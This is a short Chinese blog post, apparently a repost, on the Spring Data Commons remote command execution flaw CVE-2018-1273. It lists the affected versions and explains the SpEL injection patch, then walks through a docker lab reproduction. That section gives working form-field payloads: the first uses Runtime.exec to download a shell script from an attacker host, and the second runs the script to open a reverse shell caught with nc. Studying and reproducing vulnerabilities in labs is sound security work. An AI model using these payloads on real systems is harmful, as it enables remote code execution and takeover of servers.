spring常见漏洞(5)

发布时间:2024年01月18日

CVE-2018-1273

Spring Data Commons远程命令执行(CVE-2018-1273),当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候,会将用户提交的form表单的key值作为Spel的执行内容而产生漏洞

影响版本

Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10) Spring Data REST 2.6 - 2.6.10 (Ingalls SR10) Spring Data Commons 2.0 to 2.0.5 (Kay SR5) Spring Data REST 3.0 - 3.0.5 (Kay SR5)

漏洞分析

这里直接看补丁进行分析,这是一个spel表达式注入漏洞。补丁的内容如下:

补丁大致就是将StandardEvaluationContext替代为SimpleEvaluationContext,由于StandardEvaluationContext权限过大,可以执行任意代码,会被恶意用户利用。

SimpleEvaluationContext的权限则小的多,只支持一些map结构,通用的jang.lang.Runtime,java.lang.ProcessBuilder都已经不再支持。

漏洞复现

首先进入CVE-2018-1273的docker环境

访问http://192.168.1.10:8080/users并用bp抓包

这里随便填一下Username跟Password

生成一个shell.sh文件

用python起一个http服务,并构造payload下载shell.sh文件保存在/tmp/目录下,名称为1

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/usr/bin/wget -qO /tmp/1 http://192.168.1.2:8000/shell.sh")]=111&password=111&repeated=111&Password=111

nc打开端口监听再构造payload进行命令执行即可收到反弹shell

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("/bin/bash /tmp/1")]=111&password=111&repeated=111&Password=111

文章来源:https://blog.csdn.net/2301_80520893/article/details/135545219
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。